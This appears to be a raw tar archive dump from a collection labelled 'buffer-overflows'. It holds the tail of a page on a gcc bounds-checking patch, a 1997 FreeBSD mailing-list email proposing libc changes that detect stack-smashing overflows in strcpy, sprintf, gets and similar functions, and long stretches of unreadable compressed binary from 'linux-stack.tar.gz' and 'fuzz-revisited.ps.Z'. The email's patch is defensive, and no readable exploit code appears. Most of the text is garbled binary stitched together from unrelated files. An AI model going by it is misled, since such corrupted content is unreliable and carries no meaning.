The table of known allocated storage regions has to handle insertions, deletions and range lookups extremely fast, but since programs display a high degree of locality the access pattern is highly skewed. For these reasons a splay tree was used, in which objects are migrated to the root when accessed.

Performance

  • nfib (dumb doubly-recursive Fibonacci): no slowdown.
    • Execution time: same.
    • Compile-time: slowdown of 3 (very small)
    • Executable size: much larger due to inclusion of library.
  • Matrix multiply (ikj, using array subscripting):
    • Execution time: slowdown of around 30 compared to unoptimised.
    • Compile-time: slowdown of around 2.
    • Executable size: roughly the same.

Availability

The software is distributed free under GNU copyleft, in the form of a patch to the gcc 2.7.0 source distribution ( here).

buffer-overflows/linux-stack.tar.gz100644 0 0 23525 6347416140 16057 0ustar rootrootz3\{wFѧ8gqƯO&s,!M~U3=lHbU]]].:F~%-LЫ2z}QݮTV3"(`ߏ{ӗs۟mjhvH_i FQ}&*^7HgWҞDֵ+$`5V -Q*R ^t؊!M,}0!oepȻq5tBNjח}E菤~$=aXFk"f'Cߕxw d0|,:pl>΍ y?v}'  8w@x7Xl0xP2Ix"JB=[V0ߗ:jvCYRX$2B30n''qA5q-m"a T;Nb Z͈zGb$-/$6+X` ') ၁آp)Q3GYtiyvϓy縮F ֎ ]|pl+p,ԘNl'$:ްT|G(37SXFz Z,;5x;P7&o8# 0? 1 I`)9H$A <Iڊ aD1RZ}c(1Ț644!̾aģx5q>Cj@@3:^@Yw~6fAݩIFu$èlk 0~"x7Q"ʛ5q#E#g@?I C0VضH1onټM?HC#DCї!g@CV2>ځJ@lS= mC}_(5 cL<\MIhRSh~l)ޒEaَC@n~NHCD0❄b"6 ;[ϲJ(*3Ud*}wXVVja?bP~%# kbPTdęHG2F)TޟQ 5qRM#7Njp#1c4#S #t-%ha^UWgZ̑ɡ eC#0q7M-c ׅ)g¬T7ܱ9L`'I$GGT>kd)DDgYȹFb @&nD﫩}'LN#fSdê"tn<8!Huem%fyUaӴ_G65Tm=1caT zn*0[R{8LH)$!UǻJ*8D jlԹ"phl=!ܫ Jew NSl2Y:[xAV\gœM89di%Ly"Gh-CqziK^ħ5FYHH?$$""q(TKCm -)N"RTnD=QeDQ`jPQ}:,JSeޔ4b!7:0o:]7*kI33"Rև~b,O:t~{NqL'ϔ{}{t3rg}CnY= IayLVs%hJ؁@Oz]1t<RJ" hߢJeKꂘ0>JXl6zfڜ/1KLq޻<8?;yNL'y{4Cʬ%3EI T/<+M4lM*X:l7ZT :'/y-ݡI@x'Vj5c-bŠ-SGWhdo|5|sTf#;NkH_slݮ!ͤ "nl֏keYP1 /q7$-o3'.?x__r\m``xۍN_ɋ,J':qM(oOv R^U>bJƛZ(Elԛ b &^ʋfެos[魾%$2@aj.~U^/-%fʐN ֭D]mݝJnCGV.:ǧQlQFhnW?ōlcMbK{f؝#Y×NSlZjӬ)nBiw)bw[]ߢ*(pBVJd<(Vc:>;Kwh"ejQ|x-ǝ \O[1?O%V}o` ;g%VrJ40y%O`9<K_jVٴW+JYm̔ %13uz0berL-5 ~vaURO'+=)tQ.7 RkwJ~gY݂TVKrqeA*4;,\_+aw+vxdxT^;lƷGmnGߊE/w3JmŶ 峃VJhӳ ծ i4i Pp2ddu+=tz|6&xһVAbf (m]Yx8lAj]5^u$#W*ivXc!] ;,D?1-0}E<#ʱ@R6ve93o4k[Z5/us[*r:=UD툾-30.09֞{`>W(W=|/0KQ+\9>o˗ h:$f~Nяg|Ί T4ɍH~@%ɡRY6eSS7!"VUܿ&3}EqQ .,J|{Uowo:6^4\jQ$D4zؐO(hY/~ͪ6?3mQmVl29uɕLƶZMt6i_u;G <{V(X]`goNN.u?4^ Pf'Ҳڶ+_^ 0{ὶčO? ,j-2qJ](KwloW*~.n^-(#k f RT!Uw*״~o㏨暘6 ï^;3tIAG~ r@/ kj[fJ{bA_ T`ڣ8#wWaFCy nu|cCI 0waaͣk{P&'݅NxgRu̱쁐՛3Sɋ4Mjz󃎘gx}tHcp1/ԘZ^pY} v!e3x#k OVy„[Dʦ¼*0/PVv㺈}Wb1ЏGabuGV>F\1EҢ0,A-3;Tszm\y9_nJFBEjֽh oO(N+_ӹ 'dzRsQROD@]8C 9E,[%Nd Je@5M@̫$fO&^mAݨ @y/=?1s㏴8XAU=GKch:Fr;ONdF| )kH|;nwwZhS*ŭ&x޾Oz޳\?F)tc̃똍}II_)dm8eQ΀KcXcwyK$x3^)<ժB%Ҫ \ZHL;E -,k@Y\ :1mըpܺfB M@` ܏*1j Q8mkp ĝg@*"V74Q=Ʋ:s@k@sDKCa";Rwm<4ք؄( hhX!ᗝh?A K>|^.==yik2"FI0Sr m\$tZKnGcd: H5dhˍD'_:"CMFQЉfWw*SGvh0L6v'YO`r V^$3q@'QsInn'H.w=h6f ,s` WYÚK"w]-ouEaGUe.wGmAMJb` UdQ[ridʉܼ$*Y H껭'uZɖmdm= `- t@y2Oգx"G/(aO`OY@,DE%r[ κC)z U&yFJϣ{~<:aZNcaKܦxmXSpg# m5Oh^sD<͆"̙#8}K3 nbGᴝ U Uϐq ;?~NNO@;#}քwg»0PtP~$gz@_cUU}BfN*È`=3ʤz/kNW1Q( t:jJ`$q_Lp_Ʌ3f{n=K4a" ^DX9gT*Ti>3}\T0G29S̚2$m0^_@<‡ GEDe`HҔSO0)UFpNkw jY7jK>Pso.b 4YnkfNH8g;w@3m[g-L8brG/dxbgՑ@ +]ۑA !,Z!#4jRl&? xd~ϕ%͕HJXO+Mg ĴQnLba&)1-$eHV[<{vJ4iĉv (B/g"r L)ry]ۣ`BBKX~oC{J $\AzD 3C 5;d+GA{ptsRA-ƍK] bjǧP.i¦p[F2ēN3 ]#Y0#oBI/ + }p0x h0,1B0$Mz1l7E`ǍW,0lb([)[6v m5X" L?>ͦ܍B[8VOp6?n[ p/rąPx0nXLUE)wmthm*  "xĄ;SU&:398UrP;%CP;,Mi%Cc#; @1 a[!CtKC:8dN*̨E򆇰aMf7NgpɨpR(,Wʰv͐b2&LqDB2̡vvWsafu\WY` buWY` tăcxU` ُR( Ŧ x}DPDV׌nr=9Cb^*ߩyupdZeb)v bT$) LuZ~|kν^[mY^¹v9_38;Ch&ܣBu儦L D0dzZi0)Bx>q(5-/jq[; &Mp2pbadv!a y&yUbNU'&@&灗f&D;C7(Sh} "Hz޸$ԉ{ GG0=띭=؍*E~'-:C!g9=Drc9 =GEo1wXs6J.^- B{m2 G欋^c( :hi .h?P#nfa݂P#گ'$]޳Íh?1A1q]ejە-z'RU[if@߅]]6?-Hh&y1 aiUz BLL#GtDn"Y>[< 0jh#'WmPBX qEpt}K|HCv^,D7\i6hv_' LH2Y&((Nnv~#8Z( Ȏ2Q"Zb,K)R^Xk¥ :N)S)9oZ !l([8Jo7 Lh"J[86rB I,:RE[(%s`Bh!Ƙ Գu@a B@ @Jfʧ33 aɟ0P-Gx>$F6~C@1H''Fiv Rݷ{}z1OZJr.=p#[C7=9ju}/?B4 ۩zo54TjU~jAwTSCS7ZFW7HDꠎTE8Avħ4C88YOWG#z9fDw]rȮ}-D&P =g 2<[("ps8[,b|"C*S2#6X+_㱞}-I:M|ZK{bI=abd3gksPU_C)|sF\K C&AZ򦹣yD nݐzwu)VQ "qX;8vѡFǡF_i zRRŒN]׶ޒv  Z +|,k>96t8%|'^NOG53f3l^ffYEz9ܞ)FAQ 8kt%b"wBm`Du>4[-t.!z P(6OΡa(O̔mv+@y*xJFJ Ŝ1@ roGT=OB¶& snrVFʣ<ʣ<ʣ<ʣ<ʣ<ʣ<ʣ<ʣ<ʣ<ʣ<ʣ Message-ID: <199702091525.RAA05048@burka.carrier.kiev.ua> Subject: Increasing overall security.... To: freebsd-hackers@freebsd.org Date: Sun, 9 Feb 1997 17:25:43 +0200 (EET) Content-type: text/plain; charset=koi8-r X-Mailer: ELM [version 2.4 PL24] Content-Type: text Sender: owner-hackers@freebsd.org X-Loop: FreeBSD.org Precedence: bulk Lines: 222 I want to contribute patch to libc to made FreeBSD unexploitable with standard 'stack overflow' attacks. All i wanted, is to made my FreeBSD-based host as secure as possible. And i havent found no such man as Theo de Raadt in FreeBSD project, so the source tree still contains some exploitable 'stack overflow' security holes. Most of which is based on using some 'insecure' functions like 'strcpy', 'sprintf' and so in setuid programs. 'Why don't rewrite that functions to check the stack integrity before return?' says Oleg Panaschenko sometimes ago, and after some reflections i found that that is not so bad idea. Yes, we're getting some overhead with using these functions rather than with standard ones, but, as for me, this overhead is not so big and a reason, that i can sleep without nightmares about another stack overflow exploits is much important for me. Well, that is not panacea, though. I still will have problems with other variants of security holes ( with creating temporary files, for example ). I apologise, that i used libc from 2.1.5-RELEASE for make that patch, but i have no free computer for run -current. I tested it with -current libc and it applied well. IDEA NOTES: There are two new functions: checkframe__(char* a,char* b), which checks that we have no stack frames (generated by call _func) in memory region [a,b], and insane__(char* function-name,char* buffer), which are just performs kill(SIGSEGV,getpid()) (because program will got this signal while 'ret' to junk address in stack anyway but exploited) and after exit(1) (for cases like signal(SIG_SEGV,SIG_IGN) :) ). And most functions, which can be used for stack exploiting, patched to check the changed memory region to avoid stack violation. These functions are: strcpy,strcat,sprintf ( well, 90% of such exploits used it ), gets (historical reasons :) ) and memcpy (some things, like scanf and so uses it). INSTALLATION NOTES: there are not just patch to existing functions, there are three new files to libc, which are attached as uuencoded .tgz to this letter. You need to extract it with `pwd`=/usr/src/lib . You also need to cd /usr/src/lib/libc/i386/string/ mv strcpy.S strcpy.S.orig mv strcat.S strcat.S.orig ( or just remove these files ) Sorry for my english. diff -r -c libc-old/i386/string/Makefile.inc libc/i386/string/Makefile.inc *** libc-old/i386/string/Makefile.inc Mon Jan 23 03:28:45 1995 --- libc/i386/string/Makefile.inc Tue Feb 4 18:13:03 1997 *************** *** 3,8 **** SRCS+= bcmp.S bcopy.S bzero.S ffs.S index.S memchr.S memcmp.S \ memmove.S memset.S \ ! rindex.S strcat.S strchr.S strcmp.S strcpy.S strcspn.c \ strlen.S strncat.c strncmp.S strncpy.c strpbrk.c strsep.c \ ! strspn.c strrchr.S strstr.c swab.S --- 3,8 ---- SRCS+= bcmp.S bcopy.S bzero.S ffs.S index.S memchr.S memcmp.S \ memmove.S memset.S \ ! rindex.S strchr.S strcmp.S strcspn.c \ strlen.S strncat.c strncmp.S strncpy.c strpbrk.c strsep.c \ ! strspn.c strrchr.S strstr.c swab.S checkframe.S insane.c diff -r -c libc-old/i386/string/memmove.S libc/i386/string/memmove.S *** libc-old/i386/string/memmove.S Wed Jun 5 05:47:35 1996 --- libc/i386/string/memmove.S Sat Feb 8 22:16:28 1997 *************** *** 46,53 **** * (ov)bcopy (src,dst,cnt) * ws@tools.de (Wolfgang Solfrank, TooLs GmbH) +49-228-985800 */ ! ALTENTRY(memcpy) ENTRY(memmove) pushl %esi pushl %edi --- 46,54 ---- * (ov)bcopy (src,dst,cnt) * ws@tools.de (Wolfgang Solfrank, TooLs GmbH) +49-228-985800 */ ! /* ALTENTRY(memcpy) + */ ENTRY(memmove) pushl %esi pushl %edi diff -r -c libc-old/stdio/gets.c libc/stdio/gets.c *** libc-old/stdio/gets.c Wed Jun 5 05:49:43 1996 --- libc/stdio/gets.c Sun Feb 9 17:05:33 1997 *************** *** 64,68 **** --- 64,69 ---- else *s++ = c; *s = 0; + if(checkframe__(buf,s)) insane__((char*)"gets",buf); return (buf); } diff -r -c libc-old/stdio/sprintf.c libc/stdio/sprintf.c *** libc-old/stdio/sprintf.c Wed Jun 5 05:49:52 1996 --- libc/stdio/sprintf.c Sun Feb 9 14:42:52 1997 *************** *** 71,75 **** --- 71,76 ---- ret = vfprintf(&f, fmt, ap); va_end(ap); *f._p = 0; + if(checkframe__(str,f._p)) insane__((char*)"sprintf",str); return (ret); } diff -r -c libc-old/string/Makefile.inc libc/string/Makefile.inc *** libc-old/string/Makefile.inc Wed Jun 5 05:50:30 1996 --- libc/string/Makefile.inc Sat Feb 8 22:15:28 1997 *************** *** 5,11 **** CFLAGS += -I${.CURDIR}/locale # machine-independent string sources SRCS+= memccpy.c strcasecmp.c strcoll.c strdup.c strerror.c \ ! strmode.c strtok.c strxfrm.c # machine-dependent string sources .include "${.CURDIR}/${MACHINE}/string/Makefile.inc" --- 5,11 ---- CFLAGS += -I${.CURDIR}/locale # machine-independent string sources SRCS+= memccpy.c strcasecmp.c strcoll.c strdup.c strerror.c \ ! strmode.c strtok.c strxfrm.c strcpy.c strcat.c memcpy.c # machine-dependent string sources .include "${.CURDIR}/${MACHINE}/string/Makefile.inc" diff -r -c libc-old/string/strcat.c libc/string/strcat.c *** libc-old/string/strcat.c Fri May 27 07:57:55 1994 --- libc/string/strcat.c Sat Feb 8 21:53:58 1997 *************** *** 43,50 **** --- 43,52 ---- register const char *append; { char *save = s; + char *funct="strcat"; for (; *s; ++s); while (*s++ = *append++); + if(checkframe__(save,s)) insane__(funct,save); return(save); } diff -r -c libc-old/string/strcpy.c libc/string/strcpy.c *** libc-old/string/strcpy.c Fri May 27 07:57:55 1994 --- libc/string/strcpy.c Sat Feb 8 21:54:40 1997 *************** *** 44,50 **** --- 44,52 ---- register const char *from; { char *save = to; + char *func="strcpy"; for (; *to = *from; ++from, ++to); + if(checkframe__(save,to)) insane__(func, save); return(save); } begin 644 tarball.tgz M'XL(`````````^U9;7/;-A+.5^E7[#E-*]JT7FS'L>,X$YJB;=[0HHZD['HZ M'9N'6J-?W]_;@%5"K/_H%V-O;WP'8WWGWKK'?P'\`C=W&V_U7 M4']I1YYK8YF'&<"K3(C\S_3N^HPE7\.AK]MJFV78!%.,IAGO]7.H1!HT#@\. M=/S_@A3C+&)JY):G838%Q!M*'>YXW@>1 MJ5\QS@EE*&+>Y5%(&#J$&8,1RX8\SUD,HTQ,>(R=O!_FRM.N2!)QAYL;(I'& MG"9)0J%Y0Y:_IWZC^L@U%>?,ITC$J(F;!,/)0_254,-;,2'1C#0"P9:*G$=, M1PTN(4$\@EF:5>$]]`F-1DG(ARPCCF#GJ2-H<(61N2,89SQ&Y_X[OD`1Y0PI M%M%XB(L?SA>MANLA4)[!,,Q9QL-$+HE7"T;`JV&HX':K:F^$,>ZX=6C9:7NH+8=!2-'-[W#99FXI)M#(*`FGCR()HT$J[A(6]QCA MOB\V,5=>(FTYQAY6UVDD".6$3G"*=R.F`9G:"T.$M2SA:-Y@3GM@^^ M>QI<&9X%V&][[J7=M)IPC[\\HOAXX0? M?B`101FM:[!^;'N6[X/K@7W1=FS$06#/:`6VY>M@MTRGT[1;9\AR)X"6&X!C M7]@!J@6N3O8(Z.E,<$_APO+,)JVK[I&/:%U<0<9K?0,%B7&!;XYX;C/(@3D1Z$>6*AB\:)H["4 M'0RS:7N6&5`\RYZ)K*%WC@Y^VS)MZE@_6AB*X5WK,UC?^E<'E5!(:$WCPCC# MX"I?H`67Q.QXU@4YC$3XG1,_L(-.8,&9ZS9]@D)XW_(N;=/RC\!Q?<58Q[=T M-!(8RCRB(%THQOY)Q[<5<78KL#ROTPYLMZ41T+E[A<*M8,XL)']LR`T%8TT2KR&:P$"RWKS+&1==,BJ4M` M5[9O:;ADMD\*=F'YRKA6,794^+18Z%O17=F\NEI2L$_!:%[:Y/Q,&3>";\\V MC7M*2'['/)^Q3^>@5BZ_YET\7%V>LKCBV"?FC6^:O@;??P__F`\G/,VULJ1, M&4'4QZI"1I'D\4\_PS%L?*J\UC`EJ@*K=%!M0&6>1C38K^W5#G2)XC.>XJ.PJN=!5 M9M`A8:E6+F6LAVD:DY3R=C,71ZMC^)[(9Q*:A#+)?V,W.4T^*G\NETBV"3*< ML&,UM7CNCM/H>*.PB"&5>+<2]5DTZ&:8YFYNR(E<;"'&=D/3,!?+,*5AFH8" M[:BLIJ#:1[*J*,:'#_1`LW#.9RB72HAQK!PIE91H_G#7YPFK$/RV1B%M;Q\K M][>W4?H[L`0SYV>`9S2WM@K-K2W2)";P1916*L3AID9AHG._E__7%=O+MH3J M?[Y[L#__"%BN5=5_(1M?JO_K;_>+^G_W;;VQ1_7_WMY.8UW_?XWVI/XWJ?X_ M?$\P^6!_Y6(+*`>>86[#W*1E'@VDU9?G'=<6_KOC_I.+_HR(X'./J M9D\+X#"=HL_;_U']XEG2,\D7NO?+?K34 M"^_U0J:>#RHT25N%:NPLQFA:-!PIL)G*KSV&^>D^/R7?'DBCF=29<)%@QHO+ M"[WW,^@Z(=]K,P?D^#:![^JSIU]_PUTU^"OV=O`9Q4MMQ)M;5F84'FHXC?)R MTD)CYP\T%@J-APJE:ICP7@H[>OW^L%YV&J@X$J,YW0G#TE>5P]]8[;MNS]3_ MQ0?9B_X1X(OU_VYC4?_7=][2_?]^8W==_W^-]I?K?U)T$]:#=IB&$K-].A#P MH<^2WJ<\G%0'G$VJXW#]H;#^4/B[?RBL5L[K+X3U%\(W_86PO(T>IWC>XT-T>#4!]?T@H"F%U7M%'NMM#W?K"2/`4,YE6ICMG,6(I M^E/9*"9MZ(Y[=M-J6HYQ_6_JMG'Q7:_HVDWU2[M4J2''GD97Z"JD"@T9CN4% M^H:O/%RX5N3)N1_P1D)%>0]O1MJ&OO!O[AA=NR=",@)5=^=$1L6WSWSK[%+O ML7S$XXI&:LA6)\U8&/7Y;8+Y'TD:"KKA1Z8DK5F)W?.\TM#@"+ZY:^YU6[=U /6[=U>]3^`W%P;-0`*``` ` end -- Alexander Snarskii the source code is included. buffer-overflows/fuzz-revisited.ps.Z100644 0 0 172433 6347416320 16257 0ustar rootroot%B@"7bʴ%L7g$E:e*xXJ3epR$I(!SFʏ!ɌH͘:mB1 q8DNol0"'LP43Q"p橛B!Y7m%)̙PaÇS^3 |`m )Z4R 7dꌙ[4ix.94eAN9iΠqL 1r"xR)3}~+Nԏi"6 p>>eM;el7Z5aÈ&L qZ1oFz QAnbnAhIhԕPNd&EQYaQSc*%D$GXQS p8`&n Ѻج%F!FlFU dρXCcWaeMtl1}%覲ls؛Yp/e!YFY(F酭Z͡(X]FL `,a(\yFA:Er\{9!6QdDxt8U7dQS|ҿEJ;{MSnnϟNSJsH{փ,aS} u݅Pikܠ8p 4SMS; WR҄'!,Y~:a drmPV4@NQZi BbARlQ1X 04|.6yR29mb7`C”TÛGɩb xՏ*b[vž`k6)-pajb3d*c^BO^36{C2!+ o"oPGrɚx湋"~B4`r"pS - sn|(S#M,2$JOte74,l&|^(R8ɺ 9YRZ8&IUBR:c&,㘛(7 Z&#(,M,"kԣY&܇"-\Z0qf0J7`sejdD.1v'h=AxT#NL} ,7 H@9A ùಇe=kZVӬhCXRkIJxAlaUa&vMJeAH-M6FV0Su!5,xp4A _s[PsxUJ}_b5 ˔;wǫ/Fp?- e`si EIYLX>jyýA^Q 뻬a 섛t-gϕ4kƲ:"xCt"y jlkxNƊś=X-N1p>bQ 0_{PP-:80*6s Xeȇߐ774Ҡ:M`b> [2ЁDF?0yfN9Hi@vqlAAt^t&3s^%]83)2)PRՌBBSP EUk"_UBP*4CZ:(f eb տVj[eDMD 9{WU|4:܋Rc6n`鮱0䧐ל0TBgHvlm0.>\5Waهug[r8qSHa87eO8!v ÂvJU3y0^vfJl3v)BlJ5v:vqS?8$A8ғ.~GU/Ɗp1h0"(S3(!e =gXUsO(H)Q#C -hҘr`.X_`U]@ڸ'E@' h .T5'$%V'Wq/uO6{ሏheqRw 8Ďs0MK}Y tjd\(YQW%iThU4ْ*J7 >q@(!r/BIBp` H>?G^5X1}Xy.Z>\*E. pRpB@z":z/+Fo vûu#g u;իvc[7h0{;2.˅Aiт2 EA{Yk\XqC 5/$pKr*sZ z$'*;<q<#r,us Z&|9)̅Dc ٕbUâ "&l7SXc( {z W&g{n :ƕf,=:<| km\5V%BǝU: adrr_GO V&cyrv!6L"*Ā*WYL,` H 3ٲg<< ̣-̾Y}̪*!-Ly%͡جɠe,p(?WcaZ sU|ӾS*4t >cPıcwb0`1P307fec08p>Zȁ+fdPmyu+9k[lo"d7xXF *'N~1J @" }}=-(Dx"E'>()Ne >EHC.r JRE 84 2@180a5~Wu;=yR(QUR,T000`00e>0UVm1 |~ nDN>pNPzr>T#\0a斎㘮VBE>>.ǎ~2]10=&XMoXSTgg뮈ނG"NXNoB H[U/SB[,r k Fީ VrCc "$?6O[ `(-.Us gҝ=;<3ze#q锕 ՚@+EPd@ے_lfh姝6d:1km) +Č@dƦe@`bk :&#I=ߗw/\o=>BMx/졽Ʒ&U8u=/hJV+ce,<(ݖ#|0,jXCK^a=ܠprOT80 (vg>%\0bk dB&aw C!zd`BބqcL|p^ &&8khPIgZEٖP"CT9KPĘ5̲Z0x,Eee,/I-e7\BL#mfGTlpq^K,l4'(I0^l&LS7ĺ .X6;б"EAFvz֩(Lg9J!abp0;v'`fRM)D8 Zƞ).'$T u Jg3xn=U hO%IȠ^r%<GO/2'C!C;\!г)02B W4КH/@F s+:Y zMy|R؜nOAd ÖS$ m.X:I<8/З9]1,Q B#_˜ѣuкQC7LBF> -e|. FU[)*pabC&X@fU|Pq_gce RϏQ(坑 = G ԛmfN/'(MP) biT K TR?,}S\hi0m4p 2=™S`K&2S Mi5͠TnSu.2VSHQN8~i*N<ͦSoJL 4VJOiz8y> 2 ;DT' 3[Z &'Y-!A0RثEu :4E>dHzجP fn5VJ@kDw !g)D\S@CU5 Z7k)A{Rfuw%NH`>(&MI49<[t'N%L+!V/Tb-8e1+La'XM8])7K},}8@vVdWl%9V*()d_ȿ9 D J0xXQ0WAE3 qr,M'Uh 0dVB(D,2?X &@:XE{e/RzXieGlLfY%cl 0hͬDI0g?c!YAߡ8ҎHe K_G}9 jAm*]@Yw7sZ}HN #@wڗ;ݭ0[nChZ0Yȁ(OvvAcm|_1ySۼ`)Bk=;a}(m4m`=3l ŭ`.бîĮ.e;QPݮiԽ SPrh%pTVU56 M6Ne:x*dz@ FAZKyBB]1-^yBY;юEr;z4L}g@yC~z"*B9P^q(-gݼE0,cBZhs%Ts=PJ-Fxjd`j:>*v + X^ e <)RPV (` }4pry 7sKip`Σt`]_"`7f>S3Q/S;x_|L7bSi!~mvjyc>6&/uDwPT>0 ^(T2X~؏E "1Ș($.m욀DM DvL*{GjB 8 3ʀ%(mG@FTWP;-,6J,&`}ISj dфSS _,Lo oa4)X.lS)p L%a8d? PTA3,(YP@$ 8x ܀\1F. b,呯S.9=¾P@Y +$_̉;K^ Y%/ܐk2* KedLSEJ99( GnLL{HW*+>&u ^+ば|+qY˚8$b2fSv(er%8 Ѐ,2M}4ai@EV\1[ɔ-2f/s%X Ԁ,7H̱ fy.d/^{LX{t_݌ί9~]G{I-WVvSZؕL~8\dn23t-eVl( 092gauAm͡;ou 7;ce\7]]F *u,zG.BH= Ε&[Eo%$h-qɵ",WW)_ۣ<-uP  ,2e db44 "2pyI}8쥆d6Uo^hDJNs8WZB.L}XX4vL"\}sr7>٫}UbިT$S蘍#jFR:=0]*Uǘ7 &oCJ+2݆1T) 3J:ͪM T7PqA$XVa %0G$΀WՒXN4[b[WI_@ rx^{el[(P-ȚSkW _@MŪL"뛈vAG6aZ Pl؏I]uzT%`Õ +uرe(k>l=H-{">Ts̑!2&Plbx6ga*.Yy#s5N.:%{\6ܺgsk}P,Q),fYVe\b.\H07̏;(mY43̋;5]61Fr[2l,$T%@i%=3p&rb‚-}ǎbefnImzXT{mSMNl@i3mb]¨{YlGk9൑2dmoݶۦ׳nkNz Z-U$Z܊r?o! +>ݙ nνɛ`!WAtNLܩnVew)a:-{2؅ Yk)s܎KZW+O X$,+T Vq]PB@pNb P8og$~čWJ&ğP_q+őx?k.ĥ7[).۸p܍{0x\!ժ)0٩%=Tva< n"jP4Dݴ jRa@௏Q"|M& < 6E/'W>Syx"(AH bDrRCt!1`ҺFaO, {WHM]Ru>;R U@qbrOi?zv^:ܡO}?5gͻvQ{^w7d$59TS%TOw}$޼*)Î_Iv*n5{pd'Dou<~:<{>d,z x@# u: 2ƕh|*| k:&QtB<4]< T:2P"wb%Ղ;G_B<T<4dyp^<& RÆ79K`=y,']@.OER zX>\d`:.{ Ž_||0" TzŞƼ;O?Q/ * ?2~؞Nyb'>ұѿ tw(º>`$Zga6) 3=J̔7 Lc z}9'D,z ԅRwyB]h8ܖw`{0$nx( ` fV~11v<4TXI/~['  N*߽C@=,!CoQȗc_w/UN:,UiLJ7?|k>K )}̟W?k}@TV'Y_e蓩_}k+$s /ZHc%AHrP,-.B̴ I1`&ٷ ]H DlB5KU[V\0YaZOdW\ת!a Sv^!H3}`ѡ2כ1ǁ)XDC5t=ֹ ~A' 1ȈąMJ\>R|cߞB OxDdbV0wIq3 ?\ r #& UhCH6[`C DPP ˠ Ϡ V5!6(&h\71nˇCHHCcx@ `}`j|!)W@!$aQL]y Qt1;W1(L 2502,;- z"Vlȍ:O/~iF/,)pTƗ(6U!Le!zL;v:!x!"r%Έ#bh'"x"z',b!ʇ1"'2f5pU #*xHfHV;CNhaۆ \v]0aXбƞsbY*[aE}X#Ɗɬ|NZaXg|Qm_ȢQ _ ](y@?׾QZq)G@8R/N 2w\RVSVaE `xX+O"8op J DkQbD}؋8sO¨,"db|~51P0bȘ/%Ș1*cJ## l2ڌNa@xc@Ω(%g`hfU<+r臌hya5~bRcc6[`!CzAsgc7z4@7(8~G ׺/g ©.b/pB!2U&#t˚nBlb&2\+v܎\H9n>Zc<2oHZda9J[R8o؋V#EYx#g*#;Z 9"6~͙F6h :h>BX!jD#y@@Ffd6ֈ壹ꀆ!9C#)7G\BC2ڑ5d<&^ FB G')q/gEZ(9%/D(y8zV3d 9FH'Fӎ7 q$+67JB/GhB 1*$ ;&h 9ڈ!9|McHNp$ ą (IƆ6UIJW~ѓx@<)N$?u_pOSBgUԻ͆E [T@ȇ}-hVmՆVGJe,Vhwq4("e`PeN͆p{MkV{1W{^׼8* PYюH:h%EiQ[G١-jX%V\=r5_+eK^}b3Hxp%N>S &?(Lx'`Ai5ݕȏ]uWW؂0fΔ]#Oc,%qQX_%w#jI_Z3ejIZ Bth h F[Al^%g[{`\^'%m\8%=ܖW\b9enY[t0dpi]֥q)[*tIN`){!ᖻe{a ^E #L1d oz9I?_W%gAN0[*%  &=C898׉I[8\z^JDcB'!&0[V *cr6flac&0&=sؘyؘ%U2f_՘J&ub.ky3̖B9eҘW捙eU&g1tfZI[N\v`&eb9i&rf`xif&<Se;ui/M!4npHJcbeHW4ޤ{愐X~&b2e xi&!hv`qӨ c6o %(d1 g1X".w2/^w@.mBtjƱ/- SYqԦ`m&mr|nl9 C]nVlЦқȽr$󚾹o&ĕ H h*Vɐ Lt&r!OĜC@X-p Ń:c]! @y͙t fgt.eH)uN@) XpYAiY>%e[rVIRtҜIi\ag#n6PғSA(lTw@(ă|q9ܐpt@zI[ ]'vEh `(zf3TP}p}yF<M@{\}y9]}eg{N_)/Ҟ Vc|F|'yʀTŒ]I';d~hA;Ҥģ[Cxdxfȟ#H` ]g%)i) '15gCxp*ʔ K)R&2CV̜1ataf%p"a! < ,\3V1o\ֵ1>8|:}gYX'y)`/'|fj9}ҧ$Q'*0i t5=tE~'Gҟ%ޡ9KeOTҥh/|yP4]٩<2qj –Ge4)MV@ؿF #F(]`2yn;ƋBHh}Y#è/cx#(u00 y@EuQ (=((02%#_P, 9N:lF b/ EaYԟp#U(Kz\ h6cZE`ueX@&8JBpT'9jD#)MBhſAQ DEtjGEZ0hIJ2i=t.i )y<e?ap_0FP@@id*M2S&2(p_g@]SVi9zY夾Ӌ`DPXPqXZxcA BKF3:aV M3xc @e)Ɖo tFb:PZ6)  {O3-\ݠ|Rq*<(jts Eae|rFVE{7kǕ"XH)?${oa鈴zlϟ= 9 U"tXZHoP`BudcHZ{ JIStpXibuw))82ZH!yba ZOa> {Em1 6Ht X>̞N҇@σa~V1ءrͤԟ*hj&C;$t(i[ͣD`Io &Z2)3h^ؠ)Jڂ:V&xzs>w lLiz*X&ZynY'~wJ:UkI1<#5-V bv,B/v~;]֙X9%mjօiP@MJ́t&*(4 -FބfewZDơ X1~Ɵ=j ]B樉"T)*'WAhVPyxF֓*RFzZ)%(:"RCI:Ggw00* !j*~r*Yԩrj=ܩQ 0nX{o  H+h*8kap B^'۹~(*ꛃY2שڪLk~B +6`2kK%"LeJo~w=9kR ?-h:q F +B]*[L)An]{1l>+ʢHj~'w3E}m/؋QBk:;E*~J;>jbE븊CCj*5b /ih5'ڳbڮD++)ʾ_*r vp*mĺͦ銊6By¢ۿ.+:1/n4⨠d vCj{/9(^kePk :ͮ : ^F΀hЫ 6ɚZmD,཮k9zr-kĎ^ kxٯ/A^yxSDF"_hF-y- =ٮ K Ow\YiMՍ-$Ga* ʁVj "M8`W賝|Mdn> lwN,L^-HJãrk +jXaeIo lǠK>=c9$̱B/ 쿰+ N\8F,RŶZBHHņPl{.]WAJSJ B$t$*EC0(lحDYMHYo {܋PBp#qPxJt0F[ ܁*o E kbkN/*q$G/C:8G~҄U`),ׄ@~l CM:/ (6- P8IQu]VӋ-D`buJA)It]'4_)// pP 6AZi`S B}pMl ,|w]Ŷ [FoRx@(\cjE1Pm+@7pza!V{4|@(D+,l 0F l 1\wCIr^!VodglX9K[ B@dE]-OA<B Adk^&zU8Cbip|vQȁ l־/ 8(; , 3GOD v5 $ )2RF MTD_801SA,ܔ* DlpDPGPйBKH ց3K!z()Ê %pr#!Öp&|6Vb,DpJv_s- F4 $C19palK 0KepD\(@A 0GhC ",y\ m%j AK \qW-1K\LJ 1KpkG0L9*6< [~΍/W X7#|4F4]Pl Ul 6Q 4SB# V|s"B0 ?bp[\ E hq0z`eHF8  `{xq;>Dy0K1PE,ߋNı넩ƭq6DlH5\mApŔW ABMmE0dŸqP,ƒ=\ "qgƃoC(%+_ǢU" .& 偓&!Э^ AÏ|X<)W?! 0 "GěO`C2qND.v0$ A$w ֱ |M=Ney7VA#q-'0 8FS9`T"gdp!Z}LWpig 